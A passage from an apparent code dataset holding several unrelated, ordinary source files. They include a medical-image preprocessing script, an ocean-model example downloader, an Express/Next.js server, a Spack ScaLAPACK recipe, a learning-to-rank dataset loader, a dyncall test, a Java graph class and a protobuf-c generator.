os.path.isdir(preprocessed_data_dir):\n os.makedirs(preprocessed_data_dir)\n\n # Create list of images locations (i.e. 4 images per case => 4 modalities)\n all_files = subfiles(raw_data_dir, suffix=\".nii.gz\", join=False, sort=True)\n list_of_lists = [[os.path.join(raw_data_dir, i) for i in all_files if i[:len(j)].startswith(j) and\n len(i) == (len(j) + 12)] for j in validation_files]\n\n # Preprocess images, returns filenames list\n # This runs in multiprocess\n print(\"Acually preprocessing data...\")\n \n preprocessed_files = preprocess_MLPerf(model_dir, checkpoint_name, fold, fp16, list_of_lists,\n validation_files, preprocessed_data_dir, num_threads_preprocessing)\n\n print(\"Saving metadata of the preprocessed data...\")\n with open(os.path.join(preprocessed_data_dir, \"preprocessed_files.pkl\"), \"wb\") as f:\n pickle.dump(preprocessed_files, f)\n\n print(\"Preprocessed data saved to {:}\".format(preprocessed_data_dir))\n print(\"Done!\")\n", "\"\"\"Get example scripts, notebooks, and data files.\"\"\"\n\nimport argparse\nfrom datetime import datetime, timedelta\nfrom glob import glob\nimport json\nimport os\nimport pkg_resources\nfrom progressbar import ProgressBar\ntry:\n # For Python 3.0 and later\n from urllib.request import urlopen\nexcept ImportError:\n # Fall back to Python 2's urllib2\n from urllib2 import urlopen\nimport shutil\nimport sys\n\nexample_data_files = (\n [\"MovingEddies_data/\" + fn for fn in [\n \"moving_eddiesP.nc\", \"moving_eddiesU.nc\", \"moving_eddiesV.nc\"]]\n + [\"OFAM_example_data/\" + fn for fn in [\n \"OFAM_simple_U.nc\", \"OFAM_simple_V.nc\"]]\n + [\"Peninsula_data/\" + fn for fn in [\n \"peninsulaU.nc\", \"peninsulaV.nc\", \"peninsulaP.nc\"]]\n + [\"GlobCurrent_example_data/\" + fn for fn in [\n \"%s000000-GLOBCURRENT-L4-CUReul_hs-ALT_SUM-v02.0-fv01.0.nc\" % (\n date.strftime(\"%Y%m%d\"))\n for date in ([datetime(2002, 1, 1) + timedelta(days=x)\n for x in range(0, 365)] + [datetime(2003, 1, 1)])]]\n + [\"DecayingMovingEddy_data/\" + fn for fn in [\n \"decaying_moving_eddyU.nc\", \"decaying_moving_eddyV.nc\"]]\n + [\"NemoCurvilinear_data/\" + fn for fn in [\n \"U_purely_zonal-ORCA025_grid_U.nc4\", \"V_purely_zonal-ORCA025_grid_V.nc4\",\n \"mesh_mask.nc4\"]]\n + [\"NemoNorthSeaORCA025-N006_data/\" + fn for fn in [\n \"ORCA025-N06_20000104d05U.nc\", \"ORCA025-N06_20000109d05U.nc\",\n \"ORCA025-N06_20000104d05V.nc\", \"ORCA025-N06_20000109d05V.nc\",\n \"ORCA025-N06_20000104d05W.nc\", \"ORCA025-N06_20000109d05W.nc\",\n \"coordinates.nc\"]])\n\nexample_data_url = \"http://oceanparcels.org/examples-data\"\n\n\ndef _maybe_create_dir(path):\n \"\"\"Create directory (and parents) if they don't exist.\"\"\"\n try:\n os.makedirs(path)\n except OSError:\n if not os.path.isdir(path):\n raise\n\n\ndef copy_data_and_examples_from_package_to(target_path):\n \"\"\"Copy example data from Parcels directory.\n\n Return thos parths of the list `file_names` that were not found in the\n package.\n\n \"\"\"\n examples_in_package = pkg_resources.resource_filename(\"parcels\", \"examples\")\n try:\n shutil.copytree(examples_in_package, target_path)\n except Exception as e:\n print(e)\n pass\n\n\ndef set_jupyter_kernel_to_python_version(path, python_version=2):\n \"\"\"Set notebook kernelspec to desired python version.\n\n This also drops all other meta data from the notebook.\n \"\"\"\n for file_name in glob(os.path.join(path, \"*.ipynb\")):\n\n with open(file_name, 'r') as f:\n notebook_data = json.load(f)\n\n notebook_data['metadata'] = {\"kernelspec\": {\n \"display_name\": \"Python {}\".format(python_version),\n \"language\": \"python\",\n \"name\": \"python{}\".format(python_version)}}\n\n with open(file_name, 'w') as f:\n json.dump(notebook_data, f, indent=2)\n\n\ndef _still_to_download(file_names, target_path):\n \"\"\"Only return the files that are not yet present on disk.\"\"\"\n for fn in list(file_names):\n if os.path.exists(os.path.join(target_path, fn)):\n file_names.remove(fn)\n return file_names\n\n\ndef download_files(source_url, file_names, target_path):\n \"\"\"Mirror file_names from source_url to target_path.\"\"\"\n _maybe_create_dir(target_path)\n pbar = ProgressBar()\n print(\"Downloading %s ...\" % (source_url.split(\"/\")[-1]))\n for filename in pbar(file_names):\n _maybe_create_dir(os.path.join(target_path, os.path.dirname(filename)))\n if not os.path.exists(os.path.join(target_path, filename)):\n download_url = source_url + \"/\" + filename\n src = urlopen(download_url)\n with open(os.path.join(target_path, filename), 'wb') as dst:\n dst.write(src.read())\n\n\ndef main(target_path=None):\n \"\"\"Get example scripts, example notebooks, and example data.\n\n Copy the examples from the package directory and get the example data either\n from the package directory or from the Parcels website.\n \"\"\"\n if target_path is None:\n # get targe directory\n parser = argparse.ArgumentParser(\n description=\"Get Parcels example data.\")\n parser.add_argument(\n \"target_path\",\n help=\"Where to put the tutorials? (This path will be created.)\")\n args = parser.parse_args()\n target_path = args.target_path\n\n if os.path.exists(target_path):\n print(\"Error: {} already exists.\".format(target_path))\n return\n\n # copy data and examples\n copy_data_and_examples_from_package_to(target_path)\n\n # make sure the notebooks use the correct python version\n set_jupyter_kernel_to_python_version(\n target_path,\n python_version=sys.version_info[0])\n\n # try downloading remaining files\n remaining_example_data_files = _still_to_download(\n example_data_files, target_path)\n download_files(example_data_url, remaining_example_data_files, target_path)\n\n\nif __name__ == \"__main__\":\n main()\n", "const express = require('express');\nconst cors = require('cors');\nconst bodyParser = require('body-parser');\nconst session = require('express-session');\nconst MYSQLStore = require('express-session-sequelize')(session.Store);\nconst next = require('next');\nconst compression = require('compression');\nconst helmet = require('helmet');\n\n// const Sequelize = require('sequelize');\nconst logger = require('./logger');\nconst { insertTemplates } = require('./models/EmailTemplate');\nconst getRootUrl = require('../lib/api/getRootUrl');\n// const User = require('./models/User');\nconst { initMigrateData } = require('./models/Group');\n\nconst { newMysqlInstance } = require('./utils/utils');\n\nconst setupGoogle = require('./google');\nconst fileSystem = require('./filesystem');\nconst api = require('./api');\n\nrequire('dotenv').config();\n\nconst dev = process.env.NODE_ENV !== 'production';\n// const MONGO_URL = process.env.MONGO_URL_TEST;\n\n// const options = {\n// useNewUrlParser: true,\n// useCreateIndex: true,\n// useFindAndModify: false,\n// useUnifiedTopology: true,\n// };\n\nconst port = process.env.PORT || 8000;\nconst ROOT_URL = getRootUrl();\n\nconst URL_MAP = {\n '/login': '/public/login',\n '/contact': '/public/contact',\n};\n\nconst app = next({ dev });\nconst handle = app.getRequestHandler();\n\nconst myDatabase = newMysqlInstance();\n\n// const myDatabase = new Sequelize(process.env.MYSQL_DATABASE, process.env.MYSQL_USER, process.env.MYSQL_PASSWORD, {\n// host: process.env.MYSQL_SERVER,\n// dialect: 'mysql',\n// });\n\n// Nextjs's server prepared\napp.prepare().then(async () => {\n // await tf.setBackend('cpu');\n const server = express();\n server.use(helmet({ contentSecurityPolicy: false }));\n server.use(compression());\n\n if (process.env.REQUIRE_INIT_GROUP === 'true') {\n console.log('Starting initiate Group Data');\n try {\n await initMigrateData();\n console.log('Initiate Group Data Done.');\n } catch (err) {\n console.error('Init Group error:', err);\n }\n }\n\n // confuring mysql session store\n const sess = {\n name: process.env.SESSION_NAME,\n secret: process.env.SESSION_SECRET,\n store: new MYSQLStore({ db: myDatabase }),\n resave: false,\n saveUninitialized: false,\n cookie: {\n httpOnly: true,\n maxAge: 14 * 24 * 60 * 60 * 1000,\n domain: process.env.COOKIE_DOMAIN,\n },\n };\n\n if (!dev) {\n server.set('trust proxy', 1); // sets req.hostname, req.ip\n sess.cookie.secure = false; // sets cookie over HTTPS only\n }\n\n server.use(session(sess));\n\n await insertTemplates();\n\n server.use(cors());\n server.use(bodyParser.urlencoded({ extended: true, parameterLimit: 100000, limit: '50mb' }));\n server.use(bodyParser.json({ limit: '50mb' }));\n\n // server.get('/', async (req, res) => {\n // // await User.create({\n // // department: 'AI Research',\n // // displayName: 'Jia Wang',\n // // email: 'jia.wang@nhfc.com',\n // // googleId: process.env.GOOGLE_CLIENTID,\n // // avatarUrl:\n // // 'https://lh3.googleusercontent.com/-XdUIqdMkCWA/AAAAAAAAAAI/AAAAAAAAAAA/4252rscbv5M/photo.jpg?sz=128',\n\n // // });\n // const user = await User.findOne({ department: 'AI Research' });\n // req.user = user;\n // app.render(req, res, '/');\n // });\n\n setupGoogle({ server, ROOT_URL });\n fileSystem({ server });\n api(server);\n\n // server.get('*', (req, res) => handle(req, res));\n\n server.get('*', (req, res) => {\n const url = URL_MAP[req.path];\n if (url) {\n app.render(req, res, url);\n } else {\n handle(req, res);\n }\n });\n\n // starting express server\n server.listen(port, (err) => {\n if (err) throw err;\n logger.info(`> Ready on ${ROOT_URL}`); // eslint-disable-line no-console\n });\n});\n", "# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\n\nimport sys\n\nfrom spack import *\n\n\nclass ScalapackBase(CMakePackage):\n \"\"\"Base class for building ScaLAPACK, shared with the AMD optimized version\n of the library in the 'amdscalapack' package.\n \"\"\"\n variant(\n 'build_type',\n default='Release',\n description='CMake build type',\n values=('Debug', 'Release', 'RelWithDebInfo', 'MinSizeRel'))\n\n variant(\n 'shared',\n default=True,\n description='Build the shared library version'\n )\n variant(\n 'pic',\n default=False,\n description='Build position independent code'\n )\n\n provides('scalapack')\n\n depends_on('mpi')\n depends_on('lapack')\n depends_on('blas')\n depends_on('cmake', when='@2.0.0:', type='build')\n\n # See: https://github.com/Reference-ScaLAPACK/scalapack/issues/9\n patch(\"cmake_fortran_mangle.patch\", when='@2.0.2:2.0')\n # See: https://github.com/Reference-ScaLAPACK/scalapack/pull/10\n patch(\"mpi2-compatibility.patch\", when='@2.0.2:2.0')\n # See: https://github.com/Reference-ScaLAPACK/scalapack/pull/16\n patch(\"int_overflow.patch\", when='@2.0.0:2.1.0')\n # See: https://github.com/Reference-ScaLAPACK/scalapack/pull/23\n patch(\"gcc10-compatibility.patch\", when='@2.0.0:2.1.0')\n\n @property\n def libs(self):\n # Note that the default will be to search\n # for 'libnetlib-scalapack.'\n shared = True if '+shared' in self.spec else False\n return find_libraries(\n 'libscalapack', root=self.prefix, shared=shared, recursive=True\n )\n\n def cmake_args(self):\n spec = self.spec\n\n options = [\n \"-DBUILD_SHARED_LIBS:BOOL=%s\" % ('ON' if '+shared' in spec else\n 'OFF'),\n \"-DBUILD_STATIC_LIBS:BOOL=%s\" % ('OFF' if '+shared' in spec else\n 'ON')\n ]\n\n # Make sure we use Spack's Lapack:\n blas = spec['blas'].libs\n lapack = spec['lapack'].libs\n options.extend([\n '-DLAPACK_FOUND=true',\n '-DLAPACK_INCLUDE_DIRS=%s' % spec['lapack'].prefix.include,\n '-DLAPACK_LIBRARIES=%s' % (lapack.joined(';')),\n '-DBLAS_LIBRARIES=%s' % (blas.joined(';'))\n ])\n\n c_flags = []\n if '+pic' in spec:\n c_flags.append(self.compiler.cc_pic_flag)\n options.append(\n \"-DCMAKE_Fortran_FLAGS=%s\" % self.compiler.fc_pic_flag\n )\n\n # Work around errors of the form:\n # error: implicit declaration of function 'BI_smvcopy' is\n # invalid in C99 [-Werror,-Wimplicit-function-declaration]\n if spec.satisfies('%clang') or spec.satisfies('%apple-clang'):\n c_flags.append('-Wno-error=implicit-function-declaration')\n\n options.append(\n self.define('CMAKE_C_FLAGS', ' '.join(c_flags))\n )\n\n return options\n\n @run_after('install')\n def fix_darwin_install(self):\n # The shared libraries are not installed correctly on Darwin:\n if (sys.platform == 'darwin') and ('+shared' in self.spec):\n fix_darwin_install_name(self.spec.prefix.lib)\n\n\nclass NetlibScalapack(ScalapackBase):\n \"\"\"ScaLAPACK is a library of high-performance linear algebra routines for\n parallel distributed memory machines\n \"\"\"\n\n homepage = \"https://www.netlib.org/scalapack/\"\n url = \"https://www.netlib.org/scalapack/scalapack-2.0.2.tgz\"\n tags = ['e4s']\n\n version('2.1.0', sha256='61d9216cf81d246944720cfce96255878a3f85dec13b9351f1fa0fd6768220a6')\n version('2.0.2', sha256='0c74aeae690fe5ee4db7926f49c5d0bb69ce09eea75beb915e00bba07530395c')\n version('2.0.1', sha256='a9b34278d4e10b40cbe084c6d87d09af8845e874250719bfbbc497b2a88bfde1')\n version('2.0.0', sha256='e51fbd9c3ef3a0dbd81385b868e2355900148eea689bf915c5383d72daf73114')\n # versions before 2.0.0 are not using cmake and requires blacs as\n # a separated package\n", "import os\nfrom typing import Optional\n\nfrom pytorchltr.utils.downloader import DefaultDownloadProgress\nfrom pytorchltr.utils.downloader import Downloader\nfrom pytorchltr.utils.file import validate_and_download\nfrom pytorchltr.utils.file import extract_zip\nfrom pytorchltr.utils.file import dataset_dir\nfrom pytorchltr.datasets.svmrank.svmrank import SVMRankDataset\n\n\nclass MSLR10K(SVMRankDataset):\n \"\"\"\n Utility class for downloading and using the MSLR-WEB10K dataset:\n https://www.microsoft.com/en-us/research/project/mslr/.\n\n This dataset is a smaller sampled version of the MSLR-WEB30K dataset.\n \"\"\"\n\n downloader = Downloader(\n url=\"https://api.onedrive.com/v1.0/shares/s!AtsMfWUz5l8nbOIoJ6Ks0bEMp78/root/content\", # noqa: E501\n target=\"MSLR-WEB10K.zip\",\n sha256_checksum=\"2902142ea33f18c59414f654212de5063033b707d5c3939556124b1120d3a0ba\", # noqa: E501\n progress_fn=DefaultDownloadProgress(),\n postprocess_fn=extract_zip)\n\n per_fold_expected_files = {\n 1: [\n {\"path\": \"Fold1/train.txt\", \"sha256\": \"6eb3fae4e1186e1242a6520f53a98abdbcde5b926dd19a28e51239284b1d55dc\"}, # noqa: E501\n {\"path\": \"Fold1/test.txt\", \"sha256\": \"33fe002374a4fce58c4e12863e4eee74745d5672a26f3e4ddacc20ccfe7d6ba0\"}, # noqa: E501\n {\"path\": \"Fold1/vali.txt\", \"sha256\": \"e86fb3fe7e8a5f16479da7ce04f783ae85735f17f66016786c3ffc797dd9d4db\"} # noqa: E501\n ],\n 2: [\n {\"path\": \"Fold2/train.txt\", \"sha256\": \"40e4a2fcc237d9c164cbb6a3f2fa91fe6cf7d46a419d2f73e21cf090285659eb\"}, # noqa: E501\n {\"path\": \"Fold2/test.txt\", \"sha256\": \"44add582ccd674cf63af24d3bf6e1074e87a678db77f00b44c37980a3010917a\"}, # noqa: E501\n {\"path\": \"Fold2/vali.txt\", \"sha256\": \"33fe002374a4fce58c4e12863e4eee74745d5672a26f3e4ddacc20ccfe7d6ba0\"} # noqa: E501\n ],\n 3: [\n {\"path\": \"Fold3/train.txt\", \"sha256\": \"f13005ceb8de0db76c93b02ee4b2bded6f925097d3ab7938931e8d07aa72acd7\"}, # noqa: E501\n {\"path\": \"Fold3/test.txt\", \"sha256\": \"c0a5a3c6bd7790d0b4ff3d5e961d0c8c5f8ff149089ce492540fa63035801b7a\"}, # noqa: E501\n {\"path\": \"Fold3/vali.txt\", \"sha256\": \"44add582ccd674cf63af24d3bf6e1074e87a678db77f00b44c37980a3010917a\"} # noqa: E501\n ],\n 4: [\n {\"path\": \"Fold4/train.txt\", \"sha256\": \"6c1677cf9b2ed491e26ac6b8c8ca7dfae9c1a375e2bce8cba6df36ab67ce5836\"}, # noqa: E501\n {\"path\": \"Fold4/test.txt\", \"sha256\": \"dc6083c24a5f0c03df3c91ad3eed7542694115b998acf046e51432cb7a22b848\"}, # noqa: E501\n {\"path\": \"Fold4/vali.txt\", \"sha256\": \"c0a5a3c6bd7790d0b4ff3d5e961d0c8c5f8ff149089ce492540fa63035801b7a\"} # noqa: E501\n ],\n 5: [\n {\"path\": \"Fold5/train.txt\", \"sha256\": \"4249797a2f0f46bff279973f0fb055d4a78f67f337769eabd56e82332c044794\"}, # noqa: E501\n {\"path\": \"Fold5/test.txt\", \"sha256\": \"e86fb3fe7e8a5f16479da7ce04f783ae85735f17f66016786c3ffc797dd9d4db\"}, # noqa: E501\n {\"path\": \"Fold5/vali.txt\", \"sha256\": \"dc6083c24a5f0c03df3c91ad3eed7542694115b998acf046e51432cb7a22b848\"} # noqa: E501\n ]\n }\n\n splits = {\n \"train\": \"train.txt\",\n \"test\": \"test.txt\",\n \"vali\": \"vali.txt\"\n }\n\n def __init__(self, location: str = dataset_dir(\"MSLR10K\"),\n split: str = \"train\", fold: int = 1, normalize: bool = True,\n filter_queries: Optional[bool] = None, download: bool = True,\n validate_checksums: bool = True):\n \"\"\"\n Args:\n location: Directory where the dataset is located.\n split: The data split to load (\"train\", \"test\" or \"vali\")\n fold: Which data fold to load (1...5)\n normalize: Whether to perform query-level feature\n normalization.\n filter_queries: Whether to filter out queries that\n have no relevant items. If not given this will filter queries\n for the test set but not the train set.\n download: Whether to download the dataset if it does not\n exist.\n validate_checksums: Whether to validate the dataset files\n via sha256.\n \"\"\"\n # Check if specified split and fold exists.\n if split not in MSLR10K.splits.keys():\n raise ValueError(\"unrecognized data split '%s'\" % str(split))\n\n if fold not in MSLR10K.per_fold_expected_files.keys():\n raise ValueError(\"unrecognized data fold '%s'\" % str(fold))\n\n # Validate dataset exists and is correct, or download it.\n validate_and_download(\n location=location,\n expected_files=MSLR10K.per_fold_expected_files[fold],\n downloader=MSLR10K.downloader if download else None,\n validate_checksums=validate_checksums)\n\n # Only filter queries on non-train splits.\n if filter_queries is None:\n filter_queries = False if split == \"train\" else True\n\n # Initialize the dataset.\n datafile = os.path.join(location, \"Fold%d\" % fold,\n MSLR10K.splits[split])\n super().__init__(file=datafile, sparse=False, normalize=normalize,\n filter_queries=filter_queries, zero_based=\"auto\")\n", "/*\n\n Package: dyncall\n Library: test\n File: test/callf/main.c\n Description:\n License:\n\n Copyright (c) 2007-2021 Daniel Adler ,\n Tassilo Philipp \n\n Permission to use, copy, modify, and distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n*/\n\n\n\n/* test dcCallF API */\n\n#include \"../../dyncall/dyncall_callf.h\"\n#include \"../common/platformInit.h\"\n#include \"../common/platformInit.c\" /* Impl. for functions only used in this translation unit */\n\n#include \n#if defined(DC_UNIX) && !defined(DC__OS_BeOS)\n#include \n#endif\n\n\n/* sample void function */\n\nint vf_iii(int x,int y,int z)\n{\n int r = (x == 1 && y == 2 && z == 3);\n printf(\"%d %d %d: %d\", x, y, z, r);\n return r;\n}\n\nint vf_ffiffiffi(float a, float b, int c, float d, float e, int f, float g, float h, int i)\n{\n int r = (a == 1.f && b == 2.f && c == 3 && d == 4.f && e == 5.f && f == 6 && g == 7.f && h == 8.f && i == 9);\n printf(\"%f %f %d %f %f %d %f %f %d: %d\", a, b, c, d, e, f, g, h, i, r);\n return r;\n}\n\nint vf_ffiV(float a, float b, int c, ...)\n{\n va_list ap;\n double d, e, g, h;\n int f, i;\n int r;\n\n va_start(ap, c);\n d = va_arg(ap, double);\n e = va_arg(ap, double);\n f = va_arg(ap, int);\n g = va_arg(ap, double);\n h = va_arg(ap, double);\n i = va_arg(ap, int);\n va_end(ap);\n\n r = (a == 1.f && b == 2.f && c == 3 && d == 4. && e == 5. && f == 6 && g == 7. && h == 8. && i == 9);\n printf(\"%f %f %d %f %f %d %f %f %d: %d\", a, b, c, d, e, f, g, h, i, r);\n return r;\n}\n\n/* main */\n\nint main(int argc, char* argv[])\n{\n DCCallVM* vm;\n DCValue ret;\n int r = 1;\n\n dcTest_initPlatform();\n\n /* allocate call vm */\n vm = dcNewCallVM(4096);\n\n\n /* calls using 'formatted' API */\n dcReset(vm);\n printf(\"callf iii)i: \");\n dcCallF(vm, &ret, (void*)&vf_iii, \"iii)i\", 1, 2, 3);\n r = ret.i && r;\n\n dcReset(vm);\n printf(\"\\ncallf ffiffiffi)i: \");\n dcCallF(vm, &ret, (void*)&vf_ffiffiffi, \"ffiffiffi)i\", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9);\n r = ret.i && r;\n\n /* same but with calling convention prefix */\n dcReset(vm);\n printf(\"\\ncallf _:ffiffiffi)i: \");\n dcCallF(vm, &ret, (void*)&vf_ffiffiffi, \"_:ffiffiffi)i\", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9);\n r = ret.i && r;\n\n /* vararg call */\n dcReset(vm);\n printf(\"\\ncallf _effi_.ddiddi)i: \");\n dcCallF(vm, &ret, (void*)&vf_ffiV, \"_effi_.ddiddi)i\", 1.f, 2.f, 3, 4., 5., 6, 7., 8., 9);\n r = ret.i && r;\n\n /* arg binding then call using 'formatted' API */\n dcReset(vm);\n /* reset calling convention too */\n dcMode(vm, DC_CALL_C_DEFAULT);\n printf(\"\\nargf iii)i then call: \");\n dcArgF(vm, \"iii)i\", 1, 2, 3);\n r = r && dcCallInt(vm, (void*)&vf_iii);\n\n dcReset(vm);\n printf(\"\\nargf iii then call: \");\n dcArgF(vm, \"iii\", 1, 2, 3);\n r = r && dcCallInt(vm, (void*)&vf_iii);\n\n dcReset(vm);\n printf(\"\\nargf ffiffiffi)i then call: \");\n dcArgF(vm, \"ffiffiffi)i\", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9);\n r = r && dcCallInt(vm, (void*)&vf_ffiffiffi);\n\n dcReset(vm);\n printf(\"\\nargf ffiffiffi then call: \");\n dcArgF(vm, \"ffiffiffi\", 1.f, 2.f, 3, 4.f, 5.f, 6, 7.f, 8.f, 9);\n r = r && dcCallInt(vm, (void*)&vf_ffiffiffi);\n\n#if defined(DC_UNIX) && !defined(DC__OS_MacOSX) && !defined(DC__OS_SunOS) && !defined(DC__OS_BeOS)\n /* testing syscall using calling convention prefix - not available on all platforms */\n dcReset(vm);\n printf(\"\\ncallf _$iZi)i\");\n fflush(NULL); /* needed before syscall write as it's immediate, or order might be incorrect */\n dcCallF(vm, &ret, (DCpointer)(ptrdiff_t)SYS_write, \"_$iZi)i\", 1/*stdout*/, \" = syscall: 1\", 13);\n r = ret.i == 13 && r;\n#endif\n\n /* free vm */\n dcFree(vm);\n\n printf(\"\\nresult: callf: %d\\n\", r);\n\n dcTest_deInitPlatform();\n\n return 0;\n}\n\n", "// This is a library to be used to represent a Graph and various measurments for a Graph\r\n// and to perform optimization using Particle Swarm Optimization (PSO)\r\n// Copyright (C) 2008, 2015 \r\n// Patrick Olekas - polekas55@gmail.com\r\n// Ali Minai - minaiaa@gmail.com\r\n//\r\n// This program is free software: you can redistribute it and/or modify\r\n// it under the terms of the GNU General Public License as published by\r\n// the Free Software Foundation, either version 3 of the License, or\r\n// (at your option) any later version.\r\n//\r\n// This program is distributed in the hope that it will be useful,\r\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n// GNU General Public License for more details.\r\n//\r\n// You should have received a copy of the GNU General Public License\r\n// along with this program. If not, see .\r\npackage psograph.graph;\r\n\r\nimport java.io.Serializable;\r\n\r\n/**\r\n * This represents a Edge.\r\n * \r\n * There is some commented out code I believe in this file to support DAG and the concept \r\n * of multiple edges between two nodes.\r\n * @author Patrick\r\n *\r\n */\r\npublic class Edge implements Serializable\r\n{\r\n\r\n\tstatic final long serialVersionUID = 45L;\r\n\r\n\t/**\r\n\t * Copy Constructor\r\n\t * @param ci\r\n\t */\r\n\tpublic Edge(Edge ci)\r\n\t{\r\n\t\tm_weight = ci.m_weight;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Constructor\r\n\t * @param weight\r\n\t */\r\n\tpublic Edge(double weight)\r\n\t{\r\n\t\tm_weight = weight;\r\n\r\n\t}\r\n\t\r\n\t/**\r\n\t * Comparison of two objects\r\n\t */\r\n\tpublic boolean equals (Object obj)\r\n\t{\r\n\t\tboolean ret = true;\r\n\t\t\r\n\t\tEdge e = (Edge)obj;\r\n\t\t\r\n\t\tif(Double.compare(m_weight, e.getWeight()) != 0)\r\n\t\t{\r\n\t\t\tret = false;\r\n\t\t}\r\n\t\treturn ret;\r\n\t\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * Mutator for weight value.\r\n\t * @param weight\r\n\t */\r\n\tpublic void modifyWeight(double weight)\r\n\t{\r\n\t\tm_weight = weight;\r\n\t}\r\n\t/**\r\n\t * Accessor for weight.\r\n\t * @return\r\n\t */\r\n\tpublic double getWeight()\r\n\t{\r\n\t\treturn m_weight;\r\n\t\r\n\t}\r\n\t\r\n\tprivate double m_weight; \t\r\n\t\r\n\t\r\n\t\r\n\t/* Only allow on weight per node to node connection\r\n\t\r\n\tConnectionInfo(ConnectionInfo ci)\r\n\t{\r\n\t\tm_weight = new Vector(ci.m_weight);\r\n\t}\r\n\t\r\n\tConnectionInfo(int weight)\r\n\t{\r\n\t\tm_weight = new Vector();\r\n\t\tm_weight.add(weight);\r\n\r\n\t}\r\n\t\r\n\tConnectionInfo(int weight[])\r\n\t{\r\n\t\tm_weight = new Vector();\r\n\t\tfor(int i=0; i < weight.length; i++)\r\n\t\t\tm_weight.add(weight[i]);\r\n\t}\r\n\r\n\tvoid addWeight(int weight)\r\n\t{\r\n\t\tm_weight.add(weight);\r\n\t}\r\n\r\n\tvoid addWeights(int weight[])\r\n\t{\r\n\t\tm_weight = new Vector();\r\n\t\tfor(int i=0; i < weight.length; i++)\r\n\t\t\tm_weight.add(weight[i]);\r\n\t}\r\n\t\r\n\tvoid removeWeight(int weight)\r\n\t{\r\n\t\tm_weight.remove(new Integer(weight));\r\n\t}\r\n\t\r\n\tvoid removeWeights(int weight[])\r\n\t{\r\n\t\tfor(int i=0; i < weight.length; i++)\r\n\t\t\tm_weight.remove(new Integer(weight[i]));\r\n\t}\r\n\t\r\n\tVector m_weight; \r\n\t*/\r\n}\r\n", "// Protocol Buffers - Google's data interchange format\n// Copyright 2008 Google Inc.\n// http://code.google.com/p/protobuf/\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Author: kenton@google.com (Kenton Varda)\n// Based on original Protocol Buffers design by\n// Sanjay Ghemawat, Jeff Dean, and others.\n\n// Modified to implement C code by Dave Benson.\n\n#include \n#include \n#include \n#include \n\nnamespace google {\nnamespace protobuf {\nnamespace compiler {\nnamespace c {\n\nusing internal::WireFormat;\n\n// TODO(kenton): Factor out a \"SetCommonFieldVariables()\" to get rid of\n// repeat code between this and the other field types.\nvoid SetEnumVariables(const FieldDescriptor* descriptor,\n map* variables) {\n\n (*variables)[\"name\"] = FieldName(descriptor);\n (*variables)[\"type\"] = FullNameToC(descriptor->enum_type()->full_name());\n if (descriptor->has_default_value()) {\n const EnumValueDescriptor* default_value = descriptor->default_value_enum();\n (*variables)[\"default\"] = FullNameToUpper(default_value->type()->full_name())\n\t\t\t + \"__\" + ToUpper(default_value->name());\n } else\n (*variables)[\"default\"] = \"0\";\n (*variables)[\"deprecated\"] = FieldDeprecated(descriptor);\n}\n\n// ===================================================================\n\nEnumFieldGenerator::\nEnumFieldGenerator(const FieldDescriptor* descriptor)\n : FieldGenerator(descriptor)\n{\n SetEnumVariables(descriptor, &variables_);\n}\n\nEnumFieldGenerator::~EnumFieldGenerator() {}\n\nvoid EnumFieldGenerator::GenerateStructMembers(io::Printer* printer) const\n{\n switch (descriptor_->label()) {\n case FieldDescriptor::LABEL_REQUIRED:\n printer->Print(variables_, \"$type$ $name$$deprecated$;\\n\");\n break;\n case FieldDescriptor::LABEL_OPTIONAL:\n printer->Print(variables_, \"protobuf_c_boolean has_$name$$deprecated$;\\n\");\n printer->Print(variables_, \"$type$ $name$$deprecated$;\\n\");\n break;\n case FieldDescriptor::LABEL_REPEATED:\n printer->Print(variables_, \"size_t n_$name$$deprecated$;\\n\");\n printer->Print(variables_, \"$type$ *$name$$deprecated$;\\n\");\n break;\n }\n}\n\nstring EnumFieldGenerator::GetDefaultValue(void) const\n{\n return variables_.find(\"default\")->second;\n}\nvoid EnumFieldGenerator::GenerateStaticInit(io::Printer* printer) const\n{\n switch (descriptor_->label()) {\n case FieldDescriptor::LABEL_REQUIRED:\n printer->Print(variables_, \"$default$\");\n break;\n case FieldDescriptor::LABEL_OPTIONAL:\n printer->Print(variables_, \"0,$default$\");\n break;\n case FieldDescriptor::LABEL_REPEATED:\n // no support for default?\n printer->Print(\"0,NULL\");\n break;\n }\n}\n\nvoid EnumFieldGenerator::GenerateDescriptorInitializer(io::Printer* printer) const\n{\n string addr = \"&\" + FullNameToLower(descriptor_->enum_type()->full_name()) + \"__descriptor\";\n GenerateDescriptorInitializerGeneric(printer, true, \"ENUM\", addr);\n}\n\n\n} // namespace c\n} // namespace compiler\n} // namespace protobuf\n} // namespace google\n", "/*\n * Copyright (C) 2015 - 2016 VREM Software Development \n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance 